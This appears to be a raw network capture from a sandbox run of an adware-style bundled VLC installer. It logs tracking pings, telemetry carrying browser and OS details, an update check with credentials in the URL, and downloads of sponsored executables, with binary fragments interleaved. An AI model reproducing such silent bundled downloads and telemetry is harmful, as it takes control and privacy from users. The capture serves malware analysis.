Date: Wed, 17 Dec 2014 16:47:56 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Tue, 16 Dec 2014 22:13:37 GMT

Expires: Sat, 20 Dec 2014 22:13:37 GMT

ETag: F68261345C6FDA22F2F64A4644BD5304BA0197F3

Cache-Control: max-age=278140,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp6

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2014121
6221337Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20141216221337Z....20141220221337Z0...*.H........
.....q.L...L...._....v..of..N.^...=.b.... ...\..^z....Y-....>.O...&
gt;._.|.1.A?.......`T..5....T&!.n.].{.`q..9.G.....$..U.|.*u.0..K..w.VY
[email protected]......^_L..Ye!..b2......m.6(A*.0.........[Fe...5..LwO..GN..
X....]...qm....I...C.i..../[email protected]./.......


GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:31:06 GMT

Expires: Wed, 17 Dec 2014 18:31:06 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16068

Age: 686

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=0.02
...........}kW.:..w~....c...pk..f....--..M..dY.!Wb.KK.o.gF.-'..9...vob
{t..Fs..O.".........9..@.#......?... e!...qg.I...A"..N_.').x.I........
.I.Dr6}...|$].B..X...`...Ao.. .fQ.....x8..\..8....a..0............{...
a}x.W|..:l..}.. ...u4....#.%O.AO....k.N[..a....&....tx..;.....'..:.N!y
..Gg....9..a...7....cH>.bw...0..a.a..p5.1d.o|4.=8l.1&.D..,.X.5f..`.
..s.....[....&p:.H.........x......A.9h#.^..>.  ...:...N...,H.1...;.
....b..&a.;....o;.b......v.....N.wr..... ...z.......o..,Wjj8......j.r.
/.Y..RI.6.(........T....Dq....l.0.c.[1.o..h.R....ju..........,;...i...
.^.....T....|tV.L....;..i^S...-q........[Wup...~.......}.r .W.x..{-...
Cd..k.V....A..^;.n...?.N...^.|..bc{.._...h.w=...f..}.U}...|...........
[..62...Q....Cw.EV1..>..`..Q.cC.`..0...\v.:.'.....L.$.1.\O.C.......
.B..A^2b..<..%....A%|.E...@N:I*.Y5.A.F.."h..... .^Y)|..L.2D...pqYc.
......@..#Y(...J..#w...S.....70.. .;...Y....3..k.........@....&c..J.;.
...Q....R5.M...x.=`.<.f.U....C.{..>....{...t.....i>..Yk..@e..
v.Cf5........o`.Z..V.....V)..9.....^u...X.....}.N.O....~...-......D..V
.2o.F.......,Le.."J9.....k...r...#.w.i.!.......oe...a..QA.u.......4.X.
...{5...Vs..t.0. ...n<..j.y...`-^....uBtf.Gu. S[[.YU...T.._.lP.....
(o@=1.-N....?....V>&."...'..d..:.sS..Kq....].UySz5..3..$.<.{..".
%.Iar\Y.WVt\....;[email protected])....x.7k..T..Di..T....
..q..4.5..h....N...... T;.T5SB=.f0.....k............Vh..E.b...Dz....V.
...u....5...F...A...CX7.e..R9.....Ym5..e|......5..-..]W.u..H...m..J.5k
..nT...t!...._|.{<I..!F...j{..-..........).s~g.j....$T.-!.....Z
<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.1&utms=1&utmn=365887790&utmhn=bi.bisrv.com&utmhid=806690500&utmr=-&utmp=Installer_Init&utmht=1418834552176&utmac=UA-31676879-1&utmcc=__utma=1.61869844.1418834552.1418834552.1418834552.1;+__utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1351923141&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 17 Dec 2014 16:42:32 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 17 Dec 2014 16:42:32 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..


GET /monetization.gif?event=3&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&browser=ff,ie,de,te,tc&rnd=1418834836 HTTP/1.1

Host: logs.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:18 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1418834838.dop003.fr7.t,1418834838.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 17 Dec 
2014 16:47:18 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1418834838.dop003.fr7.t,1418834838.c
ds021.fr7.c..GIF89a.............,...........D..;..


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1418834632&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5




HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 100546

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Wed, 17 Dec 2014 16:43:52 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&0.33808702165770854 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:55 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:42:55 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:47:43 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....


GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 09 Oct 2014 21:05:58 GMT

Accept-Ranges: bytes

ETag: "afd792d24e4cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 08 Dec 2014 06:48:40 GMT

Content-Range: bytes 250000-499999/1151376

X-Cache: RefreshHit from cloudfront

Via: 1.1 e482e2c19d6e57adc72e19f731c7bf44.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pzhrtJ3J2lb6iHqOR9g181EkP704zgm-WjQWi7Ee766_kbrhu_l61Q==
......L$0P.#H....$......L$`WS.^N...|[email protected]$ P..XPI.WWS.D$(P..TPI
..L$..D$......|$..|$..q.....u..D$...u..D$..D$..|$X........D$HP.D$|P...
....$........I.P.L$d.....Y..$......L$0j.WP..F....$......L$`WS..M....$.
.....L$xWS..M...|$D..L$..D$0.CD$0QP...PI...u....RI.=....u..|$X...h....
.............N..D$..L$.;.t.P...RI...jW^..$.....L$HWS./M....$......L$0W
S..M......$....d......Y_^[..$....3..6.....]...j$...I...3..3..M.3..u..}
..M..u..F......N.f...M.QQh..I....E......O........t]S.E...P..Y...E.....
[email protected]..~L..j..C...P.E.P..X...E.......P..F...e...M.j.j..NL
..........t.W..E....h..I...E......2.....V...F.@.J..F08.J..F...0.J..@..
D0.L.J..F..H..A...13..F .F$.F(.F.P..`QI...^...U..V........E..t.V.....Y
..^]...j..<[email protected].
..RI..M....1......C..j..W.I..I2.....e...F.P...RI...xQI..F..M....1.....
.C....j..r.I...2...e...A.P...RI..M...`1......C.. I...... I..........Q.
..........j....I.._1.....]..K...X.J..a..3.j.Z.Q..M.f...E......{.!G..W.
.}.f...E...s4!F..V..u.f...E...u...D...u.....D..h..I.....C...cL..cP..M.
.....0.....U..V........E..t.V.~...Y..^][email protected]
..N4.M..E.3.SP..J...]..N..M..].Sj...I...M...N..M..M..Sj...I.../0...U..
Q3.9Q,t$....y..r...V.q.f.....f;.u. ...^t.3.B....][email protected]..
u..E..E.3..u..u..E......u.f.E..E.....9sDt..C4.x..r...QV.{.P...........
..N.{.....r........Q.f.....f;.u..s, ...;.s....~..r..6.N.3.f.....f;.u. 
...j...X.D.;.u:3..M.FW.sP..B......[...}...E..M..CE.P..B...E...u.3..E.P
V.[.CL.E.VP....U...E...M.P.XB...E..3.3..M.PCS..H..F..V3.V.6D...}..
<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 09 Oct 2014 21:05:58 GMT

Accept-Ranges: bytes

ETag: "afd792d24e4cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 08 Dec 2014 06:48:40 GMT

Content-Range: bytes 750000-999999/1151376

X-Cache: RefreshHit from cloudfront

Via: 1.1 e482e2c19d6e57adc72e19f731c7bf44.cloudfront.net (CloudFront)

X-Amz-Cf-Id: k9X-owG66Wg7mp3UmHviGhArX9YhtCVxwEfloQnZtOwxEO_ADihjdg==
....................OfH.".........K.............................tfH.".
........K..............................fH.".......D.K.................
.............fH......fH......fH......fH.....".........K...............
...................gH......gH......gH.....!gH.....,gH.....7gH.....BgH.
....MgH.....XgH.....cgH.....ngH.....ygH......gH......gH......gH......g
H......gH......gH......gH......gH......gH......gH......gH......hH.....
.hH......hH.....&hH.....3hH.....>hH.....IhH."...%.....K............
.....................yhH......hH......hH......hH......hH......hH......
hH......hH......hH......hH......hH......hH......hH......hH......hH....
..hH......hH......iH......iH......iH......iH.....!iH.....)iH.....1iH..
...9iH.....AiH.....IiH.....QiH.....YiH.....aiH.....iiH.....qiH.....yiH
......iH......iH......iH......iH.".........K..........................
....iH.....".......(.K.................................LjH......iH....
..iH......iH......jH......jH......jH......jH.....$jH.....,jH.....4jH..
...<jH.....DjH.....ejH.....mjH.".........K.........................
.........jH......jH......jH......jH......jH......jH......jH......jH...
...jH......kH......kH......kH......kH....."kH.....*kH.....2kH.....:kH.
....BkH.....JkH.....RkH.....ZkH."...%.....K...........................
.......kH......kH......kH......kH......kH......kH......kH......kH.....
.kH......kH......kH......lH......lH......lH......lH.....)lH.....4lH...
..<lH.....DlH.....OlH.....ZlH.....blH.....mlH.....ulH......lH......
lH......lH......lH......lH......lH......lH......lH......lH. ....lH
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.43184037303389655 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:55 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:42:55 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.4271952659477635 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:44:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.5993004843924707 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:44:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:44:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /?type=1&domainId=3026708&dedup=1&actionid=238238 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 3026708.r.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Server: Microsoft-IIS/8.0

p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo

Date: Wed, 17 Dec 2014 16:44:57 GMT

Connection: close
HTTP/1.1 200 OK..Server: Microsoft-IIS/8.0..p3p: CP=BUS CUR CONo FIN I
VDo ONL OUR PHY SAMo TELo..Date: Wed, 17 Dec 2014 16:44:57 GMT..Connec
tion: close..


GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d230jbvc0l4zpn.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3921

Connection: keep-alive

Server: nginx

Date: Wed, 17 Dec 2014 16:39:35 GMT

Last-Modified: Wed, 17 Dec 2014 11:15:15 GMT

ETag: "549165c3-f51"

Expires: Wed, 17 Dec 2014 16:49:35 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 177

X-Cache: Hit from cloudfront

Via: 1.1 25fc09eeaefe839a7e3228cd299c020a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: v9HPnE0sZ-Rv2G3QbJiLGIXuN9X_AbjoQp5XMXpBY9B2EFVgI7_2Mw==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"[email protected].*....RJ!Q..I..8AO...Q.t.z..
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ....


GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

